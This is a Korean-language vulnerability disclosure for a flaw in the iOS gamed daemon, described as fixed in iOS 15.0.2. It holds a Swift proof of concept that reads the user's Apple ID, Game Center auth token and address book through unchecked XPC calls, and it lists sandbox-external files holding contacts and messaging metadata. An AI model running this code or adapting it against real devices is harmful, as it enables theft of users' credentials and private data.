
iOS gamed 익스플로잇 (15.0.2에서 수정됨)
업데이트: Apple은 iOS 15.0.2에서 아무런 공개적인 인정이나 크레딧 없이 조용히 이를 수정했습니다.
App Store에서 설치된 모든 앱은 사용자에게 어떤 프롬프트도 없이 다음 데이터에 접근할 수 있습니다:
다음은 간단한 개념 증명입니다.
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}
발생 원리:
com.apple.gamed는 com.apple.developer.game-center entitlement를 제대로 확인하지 않습니다getServicesForPID:localPlayer:reply:를 호출하면 여러 XPC 프록시 객체(GKAccountService, GKFriendService, GKUtilityService 등)가 반환됩니다.com.apple.developer.game-center entitlement가 없더라도) GKAccountService에서 authenticatePlayerWithExistingCredentialsWithHandler:를 호출하면 사용자의 Apple ID, DSID 및 Game Center 인증 토큰(사용자를 대신하여 https://gc.apple.com에 요청을 보낼 수 있게 해줌)을 포함하는 객체가 반환됩니다. GKProfileService에서 getProfilesForPlayerIDs:handler:를 호출하면 사용자 Apple ID의 이름과 성을 포함하는 객체가 반환됩니다. GKFriendService에서 를 호출하면 Game Center에서 사용자 친구에 대한 정보가 포함된 객체가 반환됩니다.Apple 보안 현상금 프로그램 페이지에서 이 취약점은 $100,000로 평가됩니다 (일반적으로 TCC 프롬프트 또는 플랫폼 샌드박스로 보호되는 민감한 데이터에 대한 광범위한 앱 접근. "민감한 데이터" 접근에는 연락처에서 광범위한 접근(즉, 전체 데이터베이스)을 획득하는 것이 포함됩니다).
getFriendsForPlayer:handler:com.apple.developer.game-center entitlement가 없더라도 GKUtilityService에서 requestImageDataForURL:subdirectory:fileName:handler:를 호출하면 해당 메서드에 파일 URL을 전달하여 앱 샌드박스 외부의 임의 파일을 읽을 수 있습니다. 이러한 방식으로 접근할 수 있는 파일에는 다음(이에 국한되지 않음)이 포함됩니다:
/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - mobile gestalt 캐시 포함
/var/mobile/Library/CoreDuet/People/interactionC.db - Mail, SMS, iMessage, 타사 메시징 앱의 연락처 목록과 이러한 연락처와의 사용자 상호작용에 대한 메타데이터(타임스탬프 및 통계 포함) 포함
/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - 즐겨찾는 연락처 및 전화번호 포함
/var/mobile/Library/AddressBook/AddressBook.sqlitedb - 전체 주소록 데이터베이스 포함
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - 주소록 연락처의 사진 포함cacheImageData:inSubdirectory:withFileName:handler:를 호출하면 앱 샌드박스 외부의 위치에 임의 데이터를 쓸 수 있을 수 있습니다.